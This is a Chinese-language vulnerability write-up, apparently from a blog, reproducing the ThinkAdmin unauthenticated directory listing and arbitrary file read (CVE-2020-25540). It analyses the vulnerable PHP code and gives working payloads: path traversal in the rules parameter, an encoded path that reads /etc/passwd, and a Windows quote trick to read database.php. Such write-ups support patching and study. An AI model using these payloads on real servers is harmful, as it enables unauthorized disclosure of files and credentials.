ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540)

漏洞简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

影响范围

Thinkadmin ≤ 2020.08.03.01

漏洞分析复现

app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;
use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

列目录

node():

/**
* 读取文件列表
*/
public function node()
{
$this->success('获取文件列表成功!', InstallService::instance()->getList(
json_decode($this->request->post('rules', '[]', ''), true),
json_decode($this->request->post('ignore', '[]', ''), true)
));
}

直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:

/**
* 获取文件信息列表
* @param array $rules 文件规则
* @param array $ignore 忽略规则
* @param array $data 扫描结果列表
* @return array
*/
public function getList(array $rules, array $ignore = [], array $data = []): array
{
// 扫描规则文件
foreach ($rules as $key => $rule) {
$name = strtr(trim($rule, '\\/'), '\\', '/');
$data = array_merge($data, $this->_scanList($this->root . $name));
}
// 清除忽略文件
foreach ($data as $key => $item) foreach ($ignore as $ign) {
if (stripos($item['name'], $ign) === 0) unset($data[$key]);
}
// 返回文件数据
return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

/**
* 获取目录文件列表
* @param string $path 待扫描目录
* @param array $data 扫描结果
* @return array
*/
private function _scanList($path, $data = []): array
{
foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
$data[] = $this->_getInfo(strtr($file, '\\', '/'));
}
return $data;
}
/**
* 获取所有PHP文件列表
* @param string $path 扫描目录
* @param array $data 额外数据
* @param string $ext 文件后缀
* @return array
*/
public function scanDirectory($path, $data = [], $ext = 'php')
{
if (file_exists($path)) if (is_file($path)) $data[] = $path;
elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
$realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
if (is_readable($realpath)) if (is_dir($realpath)) {
$data = $this->scanDirectory($realpath, $data, $ext);
} elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
$data[] = strtr($realpath, '\\', '/');
}
}
return $data;
}
/**
* 获取指定文件信息
* @param string $path 文件路径
* @return array
*/
private function _getInfo($path): array
{
return [
'name' => str_replace($this->root, '', $path),
'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
];
}

读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules=["/"]

也可以使用../来进行目录穿越

rules=["../../../"]

演示站:

任意文件读取

get():

/**
* 读取文件内容
*/
public function get()
{
$filename = decode(input('encode', '0'));
if (!ModuleService::instance()->checkAllowDownload($filename)) {
$this->error('下载的文件不在认证规则中!');
}
if (file_exists($realname = $this->app->getRootPath() . $filename)) {
$this->success('读取文件内容成功!', [
'content' => base64_encode(file_get_contents($realname)),
]);
} else {
$this->error('读取文件内容失败!');
}
}

首先从GET读取encode参数并使用decode()解码:

/**
* 解密 UTF8 字符串
* @param string $content
* @return string
*/
function decode($content)
{
$chars = '';
foreach (str_split($content, 2) as $char) {
$chars .= chr(intval(base_convert($char, 36, 10)));
}
return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

/**
* 加密 UTF8 字符串
* @param string $content
* @return string
*/
function encode($content)
{
[$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:

/**
* 检查文件是否可下载
* @param string $name 文件名称
* @return boolean
*/
public function checkAllowDownload($name): bool
{
// 禁止下载数据库配置文件
if (stripos($name, 'database.php') !== false) {
return false;
}
// 检查允许下载的文件规则
foreach ($this->getAllowDownloadRule() as $rule) {
if (stripos($name, $rule) !== false) return true;
}
// 不在允许下载的文件规则
return false;
}

首先$name不能够是database.php,接着跟进getAllowDownloadRule():

/**
* 获取允许下载的规则
* @return array
*/
public function getAllowDownloadRule(): array
{
$data = $this->app->cache->get('moduleAllowRule', []);
if (is_array($data) && count($data) > 0) return $data;
$data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
$this->app->cache->set('moduleAllowRule', $data, 30);
return $data;
}

有一个允许的列表:

config
public/static
public/router.php
public/index.php
app/admin
app/wechat

也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

public/static/../../1.txt

而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

public/static/../../config/database"php

对应encode()后的结果为:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

Windows读取database.php:

演示站读取/etc/passwd:

GET:

/admin/login.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s

v5连允许列表都没有,可以直接读任意文件。

漏洞修复

临时方案:

升级到最新版!

【漏洞复现】ThinkAdmin v5和v6 未授权列目录任意文件读取(CVE-2020-25540)的更多相关文章

  1. ThinkAdmin v6 未授权列目录/任意文件读取复现

    大佬的审计文章:https://github.com/zoujingli/ThinkAdmin/issues/244 任意文件读取 POC curl http://127.0.0.1/admin.ht ...

  2. mysql任意文件读取漏洞复现

    前言 第一次得知该漏洞后找了一些文章去看. 一开始不明白这个漏洞是怎么来的,只知道通过在服务端运行poc脚本就可以读取客户端的任意文件,直接找到网上准备好的靶机进行测试,发现可行,然后就拿别人的poc ...

  3. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  4. Pulse Secure 任意文件读取(CVE-2019-11510)漏洞

    漏洞分析 我们可以通过CVE-2019-11510这个未授权的任意文件读取漏洞把以下文件下载回来. /etc/passwd /etc/hosts /data/runtime/mtmp/system / ...

  5. Grafana 任意文件读取漏洞 (CVE-2021-43798)学习

    漏洞概述 Grafana是一个跨平台.开源的数据可视化网络应用程序平台.用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告. Grafana 的读取文件接口存在未授权,且未对 ...

  6. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  9. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

随机推荐

  1. typora 图床配置方法

    学习计算机的同学,在日常学习中难免会记笔记,写文档.相信大家记笔记大部分使用的都是 Markdown 吧,如果到现在还没接触,那我强烈建议你去学习一下,大概几分钟就可以搞定它. 注:下文用到的所有软件 ...

  2. day19 进程管理

    day19 进程管理 什么是进程,什么是线程 1.什么是程序 一般情况下,代码,安装包等全部都是应用程序 2.什么是进程 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进 ...

  3. flink01--------1.flink简介 2.flink安装 3. flink提交任务的2种方式 4. 4flink的快速入门 5.source 6 常用算子(keyBy,max/min,maxBy/minBy,connect,union,split+select)

    1. flink简介 1.1 什么是flink Apache Flink是一个分布式大数据处理引擎,可以对有限数据流(如离线数据)和无限流数据及逆行有状态计算(不太懂).可以部署在各种集群环境,对各种 ...

  4. 【SpringBoot】几种定时任务的实现方式

    SpringBoot 几种定时任务的实现方式 Wan QingHua 架构之路  定时任务实现的几种方式: Timer:这是java自带的java.util.Timer类,这个类允许你调度一个java ...

  5. maven常用Java配置

    maven国内镜像 ------------------------------------------------------------------------------------------ ...

  6. entfrm-boot开发平台一览【entfrm开源模块化无代码开发平台】

    介绍 entfrm-boot是一个以模块化为核心的无代码开发平台,能够让中小企业快速从零搭建自己的开发平台:开箱即用,可插拔可自由组合:以模块化的方式,最大化的代码复用,避免重复开发:无代码可视化开发 ...

  7. I/O流之字节流

    在程序中所有的数据都是以流的形式进行传输或保存的,程序需要数据时要使用输入流读取数据,而当程序需要将一些数据保存起来时,就要使用输出流完成对于操作文件内容,要进行文件内容的操作就需要通过Java提供的 ...

  8. java代码从出生到执行的过程浅析

    阅读<深入理解java虚拟机 第二版 JVM高级特性与最佳实践> - jdk版本为1.6 1.什么是编译型语言.解释型语言 解释型语言:源代码不是直接翻译成机器语言,而是先翻译成中间代码, ...

  9. 【HarmonyOS】【xml】初学XML布局作业

    首先要明确,有两种布局方式 线性布局:DirectionalLayout 依赖布局:DependentLayout 好,接下来看一看下面的例子 页面案例1 代码如下: <?xml version ...

  10. Nginx 架构基础

    1 Nginx请求处理流程 2 Nginx进程结构 3 Nginx进程管理:信号 3.1 Master进程 监控worker进程 CHLD 管理worker进程 接收信号 TERM,INT QUIT ...